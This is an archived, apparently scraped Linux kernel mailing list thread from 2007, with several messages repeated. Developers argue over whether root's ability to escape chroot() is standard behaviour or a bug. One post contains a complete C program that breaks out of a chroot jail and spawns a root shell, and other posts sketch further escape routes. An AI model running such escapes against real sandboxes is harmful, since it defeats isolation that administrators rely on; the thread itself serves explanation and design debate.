Alan Cox wrote: Now see I've been working on Unix systems since 1988 or so and in that time I've learned to read the documentation properly (you haven't) My, my, you can be unpleasant when you try. There's no need for it. As it happens I have years of UNIX experience on you. (Newbie!) You've got an idea that the original intention was for there to be a way to escape from a chroot, but that the documentation was written so that, not only was this not mentioned, but what was written implies otherwise. You've also got some idea that because it's the way it is, therefore it must be right. You present no reasoning to explain why the behavior is correct; instead you use insults. I've exhausted my tolerance for rudeness. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
> I've made no error. The documentation says what it says, and what it > doesn't say, other than for Linux, is that there is an unspecified way > of breaking out. Now see I've been working on Unix systems since 1988 or so and in that time I've learned to read the documentation properly (you haven't) and I've also don't security work on a pile of systems. Your assumptions and your whole mental model of this are horribly broken. > If you're so keen on trying things, then I challenge you to try it on, > oh, say, BSD, and then admit your error. (Such hostile words.) FreeBSD isn't a Unix system, and isn't compliant to the spec. Its also still trivial to get out of a freebsd chroot using things like ptrace. FreeBSD jails on the other hand do what you confusedly seem to think should happen with chroot. They are seperate precisely because they are different. Alan - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: On Wed, 26 Sep 2007 20:04:14 +0930 David Newall <[EMAIL PROTECTED]> wrote: Al Viro wrote: Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed. Go try them, then come back and admit your error I've made no error. The documentation says what it says, and what it doesn't say, other than for Linux, is that there is an unspecified way of breaking out. If you're so keen on trying things, then I challenge you to try it on, oh, say, BSD, and then admit your error. (Such hostile words.) - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Wed, 26 Sep 2007 20:04:14 +0930 David Newall <[EMAIL PROTECTED]> wrote: > Al Viro wrote: > > Oh, for fsck sake... Folks, it's standard-required behaviour. Ability > > to chroot() implies the ability to break out of it. Could we please > > add that (along with reference to SuS) to l-k FAQ and be done with that > > nonsense? > > I'm pretty confident that it's only standard behavior for Linux. Every > other unix says it's not allowed. Go try them, then come back and admit your error - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Al Viro wrote: Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Al Viro <[EMAIL PROTECTED]> wrote:
> If you are within chroot jail and capable of chroot(), you can chdir to
> its root, then chroot() to subdirectory and you've got cwd outside of
> your new root. After that you can chdir all way out to original
> root.
Here is some code I wrote a while back to demonstrate that escape
method.
/*
* Break a chroot
*
* Compile this with
*
* gcc -static -Wall break-chroot.c -o break-chroot
*
* Get a root shell in the chrooted environment and run
*
*./break-chroot
*
* Nick Craig-Wood <[EMAIL PROTECTED]>
*
*/
#include
#include
#include
#include
#include
#include
#include
#define SHELL "bin/sh" /* no leading / */
int main(void)
{
struct stat buf;
if (chdir("/"))
perror("chdir /"), exit(1);
printf("Making escape tunnel\n");
mkdir("/tmp", 01777);
mkdir("/tmp/escape-tunnel", 0755);
printf("Doing escape chroot leaving cwd behind\n");
if (chroot("/tmp/escape-tunnel"))
perror("chroot /tmp/escape-tunnel"), exit(1);
printf("Exploit cwd being above the root and find a " SHELL " to run\n");
do {
printf("Going up...\n");
if (chdir("../"))
perror("chdir ../"), exit(1);
} while (stat(SHELL, ) != 0);
printf("Chrooting back into the root directory\n");
if (chroot("."))
perror("chroot ."), exit(1);
printf("If this doesn't error you are out of chroot!\n");
if (execl(SHELL, SHELL, 0))
perror("exec " SHELL), exit(1);
printf("Something wicked happened!\n");
return 1;
}
--
Nick Craig-Wood <[EMAIL PROTECTED]> -- http://www.craig-wood.com/nick
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Al Viro [EMAIL PROTECTED] wrote:
If you are within chroot jail and capable of chroot(), you can chdir to
its root, then chroot() to subdirectory and you've got cwd outside of
your new root. After that you can chdir all way out to original
root.
Here is some code I wrote a while back to demonstrate that escape
method.
/*
* Break a chroot
*
* Compile this with
*
* gcc -static -Wall break-chroot.c -o break-chroot
*
* Get a root shell in the chrooted environment and run
*
*./break-chroot
*
* Nick Craig-Wood [EMAIL PROTECTED]
*
*/
#include stdio.h
#include stdlib.h
#include unistd.h
#include error.h
#include dirent.h
#include sys/stat.h
#include sys/types.h
#define SHELL bin/sh /* no leading / */
int main(void)
{
struct stat buf;
if (chdir(/))
perror(chdir /), exit(1);
printf(Making escape tunnel\n);
mkdir(/tmp, 01777);
mkdir(/tmp/escape-tunnel, 0755);
printf(Doing escape chroot leaving cwd behind\n);
if (chroot(/tmp/escape-tunnel))
perror(chroot /tmp/escape-tunnel), exit(1);
printf(Exploit cwd being above the root and find a SHELL to run\n);
do {
printf(Going up...\n);
if (chdir(../))
perror(chdir ../), exit(1);
} while (stat(SHELL, buf) != 0);
printf(Chrooting back into the root directory\n);
if (chroot(.))
perror(chroot .), exit(1);
printf(If this doesn't error you are out of chroot!\n);
if (execl(SHELL, SHELL, 0))
perror(exec SHELL), exit(1);
printf(Something wicked happened!\n);
return 1;
}
--
Nick Craig-Wood [EMAIL PROTECTED] -- http://www.craig-wood.com/nick
-
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Al Viro wrote: Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Wed, 26 Sep 2007 20:04:14 +0930 David Newall [EMAIL PROTECTED] wrote: Al Viro wrote: Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed. Go try them, then come back and admit your error - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: On Wed, 26 Sep 2007 20:04:14 +0930 David Newall [EMAIL PROTECTED] wrote: Al Viro wrote: Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed. Go try them, then come back and admit your error I've made no error. The documentation says what it says, and what it doesn't say, other than for Linux, is that there is an unspecified way of breaking out. If you're so keen on trying things, then I challenge you to try it on, oh, say, BSD, and then admit your error. (Such hostile words.) - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
I've made no error. The documentation says what it says, and what it doesn't say, other than for Linux, is that there is an unspecified way of breaking out. Now see I've been working on Unix systems since 1988 or so and in that time I've learned to read the documentation properly (you haven't) and I've also don't security work on a pile of systems. Your assumptions and your whole mental model of this are horribly broken. If you're so keen on trying things, then I challenge you to try it on, oh, say, BSD, and then admit your error. (Such hostile words.) FreeBSD isn't a Unix system, and isn't compliant to the spec. Its also still trivial to get out of a freebsd chroot using things like ptrace. FreeBSD jails on the other hand do what you confusedly seem to think should happen with chroot. They are seperate precisely because they are different. Alan - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: Now see I've been working on Unix systems since 1988 or so and in that time I've learned to read the documentation properly (you haven't) My, my, you can be unpleasant when you try. There's no need for it. As it happens I have years of UNIX experience on you. (Newbie!) You've got an idea that the original intention was for there to be a way to escape from a chroot, but that the documentation was written so that, not only was this not mentioned, but what was written implies otherwise. You've also got some idea that because it's the way it is, therefore it must be right. You present no reasoning to explain why the behavior is correct; instead you use insults. I've exhausted my tolerance for rudeness. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
therefore it must be right. You present no reasoning to explain why the behavior is correct; instead you use insults. I've exhausted my tolerance for rudeness. Well if citing standards documents at people is rudeness so be it. Alan - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Once upon a time, Alan Cox [EMAIL PROTECTED] said: Well if citing standards documents at people is rudeness so be it. I hate to get involved in this, but actually chroot() is no longer part of SuS as of version 3. For other Unix versions, both Tru64 (5.1B) and Solaris (9) chroot(2) man pages also say the working directory is unaffected by chroot(). The Solaris man page explicitly mentions using fchdir() to reset the root to a previously opened directory however. On Tru64 and Solaris, the chroot command does call chdir() after chroot(), but that is a userspace thing. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan, Alan Cox wrote: therefore it must be right. You present no reasoning to explain why the behavior is correct; instead you use insults. I've exhausted my tolerance for rudeness. Well if citing standards documents at people is rudeness so be it. Did you just tell a porky? Did you just (again) say something calculated to give a false belief? I think so. This is not a citation: It does change the root, it just doesn't guarantee you can't change it back - which is correct POSIX, Unix, SuS behaviour. So either everyone else is wrong or you are.. I know who I am betting on That was you implying that standard documents say things that they don't. But yes, that was the first time. Care to let it drop? David - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
You quoted the standard, I merely pointed out you forgot to read it properly. Thats your problem not mine. Alan - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: You quoted the standard, I merely pointed out you forgot to read it properly. Thats your problem not mine. How bizarre. Last email you claimed to quote the standards (but you never did.) Your becoming an embarrassment. You were rude, and multiple times. Please just drop it while you retain a shred of dignity. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
** Plonk ** Welcome to my killfile. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: ** Plonk ** Welcome to my killfile. Well that's a relief. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Wed, Sep 26, 2007 at 08:04:14PM +0930, David Newall wrote: Al Viro wrote: Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed. OK, the possibilities are * you've discovered a bug in all Unices (BTW, even FreeBSD *does* allow to break out of some chroots in that fashion; RTFS and you'll see - just pay attention to setting fdp-fd_jdir logics in kern/vfs_syscalls.c: change_root(); it sets jail boundary on _first_ chroot and if you've got nested chroots, you can leave them just fine by use of SCM_RIGHTS to hold directory descriptor). All hail David, nevermind that this behaviour had been described in Unix FAQs since _way_ back. * you've misunderstood the purpose of chroot(), the fact that behaviour in question is at the very least extremely common on Unix and the fact that any code relying on root-proof chroot(2) is broken and needs to be fixed, simply because chroot is _not_ root-proof on (at least) almost all systems. Note that the last statement applies in both cases; it's simply reality. Insisting that behaviour known for decades is a bug since it contradicts your rather convoluted reading of the standards... Looks rather silly, IMO, but that has zero practical consequences anyway. Userland code can't rely on root-proof chroot(2), period. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)
On Wed, 26 Sep 2007, David Newall wrote: Miloslav Semler pointed out that a root process can chdir(..) out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. The root directory, '/' is changed, and if the process is capable of using chroot, it may change the root directory again. Works as defined. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. As long as root has more than a safe subset of capabilities, root can escape a chroot. Besides that, fchdir on open-at-chroot fds does not decrease the security, since the attacker needs help from the outside root, who is not restricted by chroot. I'm more concerned about abstract unix sockets, they could be used to send a file descriptor to compromised daemons and extend exploits to the outside of a chroot and across namespaces - at least I suspect it. The whole f* family of syscalls would be affected. This can be cured by e.g. not allowing to receive fds if the root+namespace do not match. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions. The good guys don't cd out, they open the instalkler archive, chroot to the new system root and extract it there. Then they chroot back using the saved cwd. If there truly is a need to be able to pop in and out of a chroot, then the solution should be obvious, such as with real versus effective user and group ids. An important quality of a solution would be a way to fix that essential function: to set the root in such a way that you can no longer pop out. But that is a separate question. As in jail()? As far as I know, the new virtualisation features sneaking into the kernel will allow implementing a jail, too, in a more secure way than any hacking on chroot can give. The question: is chroot buggy? I'm pleased to turn to SCO for an independent definition for chroot, from which I get the following: http://osr600doc.sco.com/en/man/html.S/chroot.S.html: The *..* entry in the root directory is interpreted to mean the root directory itself. Thus, *..* cannot be used to access files outside the subtree rooted at the root directory. I argue chroot is buggy. Miloslav's patch might not be the right solution, but he has the right idea (i.e. fix it.) There are implementations of chroot which imply chdir(), and not having f* functions, they can not _directly_ acces files outside the chroot. But as long as they can e.g. mknod /dev/mem or strace, they can do anything. So let's not put a fingerprint sensor on that chinese paper door. -- You know you're in trouble when packet floods are competing to flood you. -- grc.com - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Wed, 26 Sep 2007 20:04:14 +0930 David Newall [EMAIL PROTECTED] wrote: Al Viro wrote: Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? I'm pretty confident that it's only standard behavior for Linux. Every other unix says it's not allowed. So how about reading up on the subject instead? *spends five minutes with Google* From the OpenBSD FAQ (an operating system most know for being really, really focused on security): http://www.openbsd.org/faq/faq10.html Any application which has to assume root privileges to operate is pointless to attempt to chroot(2), as root can generally escape a chroot(2). Solaris: http://www.softpanorama.org/Solaris/Security/solaris_privilege_sets.shtml You must be root to make the chroot() call, and you should quickly change to non-root (a root user can escape a chroot environment, so if it's to be effective, you need to drop that privilege). A chroot FAQ: http://www.unixwiz.net/techtips/chroot-practices.html There are well-known techniques used to escape from jail, but the most common one requires root privileges inside the jail. Another chroot FAT one linked to from the previous one: http://www.bpfh.net/simes/computing/chroot-break.html This page details how the chroot() system call can be used to provide an additional layer of security when running untrusted programs. It also details how this additional layer of security can be circumvented. Whilst chroot() is reasonably secure, a program can escape from its trap. Yet Another FAQ, this time about secure Unix Programming: http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/ chroot() only limits the file system scope and nothing else. [further descriptions of how to break out of chroot, with and without root privileges] Convinced? /Christer -- Just how much can I get away with and still go to heaven? Christer Weinigel [EMAIL PROTECTED] http://www.weinigel.se - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Christer Weinigel wrote: *spends five minutes with Google* From the OpenBSD FAQ (an operating system most know for being really, really focused on security): http://www.openbsd.org/faq/faq10.html Any application which has to assume root privileges to operate is pointless to attempt to chroot(2), as root can generally escape a chroot(2). For sure, a root user can get out of a chroot a million different ways. Young Alan said as much at the beginning of this conversation, and I have always agreed. I don't hope to secure Linux within chroot, simply to fix chroot so that it does what it says it does. Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. It's not dot-dot that's the problem. Even fchdir is no problem, because you choose which file descriptors to leave open. Fchdir is actually one of the answers. (What if we need a way to escape?) The problem is leaving cwd unchanged. Once you've set cwd within the new root, dot-dot is promised to keep you within that root; and so it does. But by leaving cwd unchanged, if you do a subsequent chroot, that promise is suddenly broken. I think this is a bug. I think that behavior was not intended. Not all agree with me, but obviously a lot do, otherwise OpenBSD and others wouldn't have addressed this exact issue. Here's what they do: If the program is already running with an altered root directory, the process's current directory is changed to the same new root directory. This prevents the current directory from being further up the directory tree than the altered root directory. -- OpenBSD man 2 chroot This was no more than an attempt to fix a long-standing bug. As stated, opinion is divided as to whether this is a bug. I think it is, and many people agree, for example some of the BSDs and probably others; some people don't. Young Alan, for example, ummm, strongly (is a good word) disagrees. I don't see that it calls for nastiness or emotion, and although opinion on this august list is divided, apparently the nays are in the majority. We should leave it at that. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 06:49:28AM +0930, David Newall wrote: ... Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. ... You are claiming They went so far as to say that dot-dot wouldn't let you out? Who are the they people you are referring to? And where did they explicitely state what you claim they did say? cu Adrian -- Is there not promise of rain? Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. Only a promise, Lao Er said. Pearl S. Buck - Dragon Seed - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Adrian Bunk wrote: You are claiming They went so far as to say that dot-dot wouldn't let you out? I phrased it in a somewhat conversational way. The promise, which I've now quoted from multiple sources, is expressed variously, including: The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 09:05:33AM +0930, David Newall wrote: Adrian Bunk wrote: You are claiming They went so far as to say that dot-dot wouldn't let you out? I phrased it in a somewhat conversational way. The promise, which I've now quoted from multiple sources, is expressed variously, including: The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory. You claimed: -- snip -- Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. -- snip -- You were clearly saying that whom you call they were the people who designed chroot. And it was you who was claiming in this statement that they said it. The OpenBSD manpage you quoted in this thread states chroot() was added in 4.2BSD, and 4.2BSD was released in 1983. You should therefore either bring a source where the people who designed chroot() in 1983 or earlier are stating what you claim they said or admit that you were talking utter bullshit. cu Adrian -- Is there not promise of rain? Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. Only a promise, Lao Er said. Pearl S. Buck - Dragon Seed - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 02:01:37AM +0200, Adrian Bunk wrote:
-- snip --
Look, when chroot was being designed, I think they intended that even root
should be unable to get out. They went so far as to say that dot-dot
wouldn't let you out; and it doesn't.
-- snip --
You were clearly saying that whom you call they were the people who
designed chroot. And it was you who was claiming in this statement that
they said it.
The OpenBSD manpage you quoted in this thread states chroot() was added
in 4.2BSD, and 4.2BSD was released in 1983.
You should therefore either bring a source where the people who designed
chroot() in 1983 or earlier are stating what you claim they said or
admit that you were talking utter bullshit.
chroot() is present in v7, thank you very much. /usr/sys/sys/sys4.c has
chdir()
{
chdirec(u.u_cdir);
}
chroot()
{
if (suser())
chdirec(u.u_rdir);
}
and back then it didn't stop lookups by .. at all - u_rdir is only used
in the beginning of namei() (when pathname starts with /), plus the obvious
refcounting in exit()/newproc(). So give me a break - back when it had
been introduced, it didn't do anything jail-like _at_ _all_.
That check appears only in BSD:
@@ -1,4 +1,4 @@
-/* vfs_lookup.c4.4 03/06/81*/
+/* vfs_lookup.c4.5 81/03/09*/
#include ../h/param.h
#include ../h/systm.h
@@ -107,6 +107,9 @@
u.u_segflg = 1;
eo = 0;
bp = NULL;
+ if (dp == u.u_rdir u.u_dent.d_name[0] == '.'
+ u.u_dent.d_name[1] == '.' u.u_dent.d_name[2] == 0)
+ goto cloop;
eloop:
with spectaculary lousy commit message (lint and a minor fixed) by
wnj. Feel free to ask Bill Joy WTF he had intended. At a guess,
more consistent behaviour in chrooted environment (i.e. pathname
resolution looking as if the subtree had been everything).
To talk about root-safety of _anything_ at that point is bloody ridiculous.
-
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Tue, Sep 25, 2007 at 04:53:00PM -0400, Phillip Susi wrote: > Alan Cox wrote: > >On Fri, 21 Sep 2007 13:39:34 -0400 > >Phillip Susi <[EMAIL PROTECTED]> wrote: > > > >>David Newall wrote: > >>>* In particular, the superuser can escape from a =91chroot jail=92 by d= > >>>oing=20 > >>>=91mkdir foo; chroot foo; cd ..=92. > >>No, he can not. > > > >The superuser can escape that way - its expected and fine behaviour > > Does not work for me, and that would be the EXACT thing chroot is > supposed to prevent. Maybe you guys are thinking of a program that > calls chroot() but leaves cwd outside the chroot still being able to > navigate outside of it? Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? If you are within chroot jail and capable of chroot(), you can chdir to its root, then chroot() to subdirectory and you've got cwd outside of your new root. After that you can chdir all way out to original root. Again, this is standard behaviour. Changing it will not yield any security improvements, so kindly give that a rest. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: On Fri, 21 Sep 2007 13:39:34 -0400 Phillip Susi <[EMAIL PROTECTED]> wrote: David Newall wrote: * In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20 =91mkdir foo; chroot foo; cd ..=92. No, he can not. The superuser can escape that way - its expected and fine behaviour Does not work for me, and that would be the EXACT thing chroot is supposed to prevent. Maybe you guys are thinking of a program that calls chroot() but leaves cwd outside the chroot still being able to navigate outside of it? - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)
On Wed, Sep 26, 2007 at 12:40:27AM +0930, David Newall wrote:
> Miloslav Semler pointed out that a root process can chdir("..") out of its
> chroot. Although this is documented in the man page, it conflicts with the
> essential function, which is to change the root directory of the process.
> In addition to any creative uses, for example Philipp Marek's loading
> dynamic libraries, it seems clear that the prime purpose of chroot is to
> aid security. Being able to cd your way out is handy for the bad guys, but
> the good guys don't need it; there are a thousand better, safer solutions.
>...
The bad guys most likely also now other tricks to escape the chroot.
If you are root in the chroot you can e.g. mount the partition with the
root filesystem inside the chroot.
If a bad guy becomes root inside a chroot it's game over.
cu
Adrian
--
"Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
"Only a promise," Lao Er said.
Pearl S. Buck - Dragon Seed
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)
> Marek's loading dynamic libraries, it seems clear that the prime purpose > of chroot is to aid security. Being able to cd your way out is handy Does it - I can't find any evidence for that. I think you are confusing containers and chroot. They are quite different things. A root user can get out of a chroot a million different ways Alan - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)
On Sep 26 2007 00:40, David Newall wrote:
>
> Miloslav Semler pointed out that a root process can chdir("..") out of its
> chroot. Although this is documented in the man page, it conflicts with the
> essential function, which is to change the root directory of the process. In
> addition to any creative uses, for example Philipp Marek's loading dynamic
> libraries, it seems clear that the prime purpose of chroot is to aid security.
> Being able to cd your way out is handy for the bad guys, but the good guys
> don't need it; there are a thousand better, safer solutions.
So what? Just do this: chdir into the root after chroot.
It won't conform to SVR4/4.4BSD anymore, but hey, let Linux set some
sane standard ain't bad either. I doubt anyone really relies on the
fact that after chroot, your cwd might be outside the root.
Signed-off-by: Jan Engelhardt <[EMAIL PROTECTED]>
---
fs/open.c |1 +
1 file changed, 1 insertion(+)
Index: linux-2.6.23/fs/open.c
===
--- linux-2.6.23.orig/fs/open.c
+++ linux-2.6.23/fs/open.c
@@ -547,6 +547,7 @@ asmlinkage long sys_chroot(const char __
set_fs_root(current->fs, nd.mnt, nd.dentry);
set_fs_altroot();
+ set_fs_pwd(current->fs, nd.mnt, nd.dentry);
error = 0;
dput_and_out:
path_release();
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Chroot bug (was: sys_chroot+sys_fchdir Fix)
Miloslav Semler pointed out that a root process can chdir("..") out of
its chroot. Although this is documented in the man page, it conflicts
with the essential function, which is to change the root directory of
the process. In addition to any creative uses, for example Philipp
Marek's loading dynamic libraries, it seems clear that the prime purpose
of chroot is to aid security. Being able to cd your way out is handy
for the bad guys, but the good guys don't need it; there are a thousand
better, safer solutions.
If there truly is a need to be able to pop in and out of a chroot, then
the solution should be obvious, such as with real versus effective user
and group ids. An important quality of a solution would be a way to fix
that essential function: to set the root in such a way that you can no
longer pop out. But that is a separate question.
The question: is chroot buggy? I'm pleased to turn to SCO for an
independent definition for chroot, from which I get the following:
http://osr600doc.sco.com/en/man/html.S/chroot.S.html:
The *..* entry in the root directory is interpreted to mean the root
directory itself. Thus, *..* cannot be used to access files outside
the subtree rooted at the root directory.
I argue chroot is buggy. Miloslav's patch might not be the right
solution, but he has the right idea (i.e. fix it.)
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
